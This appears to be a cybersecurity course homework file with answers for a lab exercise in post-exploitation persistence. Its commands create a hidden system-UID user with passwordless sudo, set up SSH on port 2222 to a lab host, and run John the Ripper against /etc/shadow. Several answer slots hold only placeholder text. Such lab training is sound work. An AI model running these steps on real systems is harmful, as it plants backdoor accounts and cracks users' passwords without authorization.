**Week 6 Homework: Advanced Bash - Owning the System**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:
   * sudo useradd -M sysd
2. Give your secret user a password:
   * sudo passwd sysd
3. Give your secret user a system UID < 1000:
   * sudo usermod -u 800 sysd
4. Give your secret user the same GID:
   * sudo groupmod -g 800 sysd
5. Give your secret user full sudo access without the need for a password:
   * sudo visudo
   * Text

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6. Test that sudo access works without your password:

Text

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**Step 2: Smooth Sailing**

1. Edit the sshd\_config file: sudo nano /etc/ssh/sshd\_config

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**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:
   * sudo systemctl restart ssh.service
2. Exit the root account:
   * exit
3. SSH to the target machine using your sysd account and port 2222:
   * ssh [sysd@192.168.6.105](mailto:sysd@192.168.6.105) -p 2222
4. Use sudo to switch to the root user:
   * sudo su
   * Text

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**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:
   * ssh [sysd@192.168.6.105](mailto:sysd@192.168.6.105) -p 2222
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:
   * sudo su
   * john /etc/shadow
   * Text

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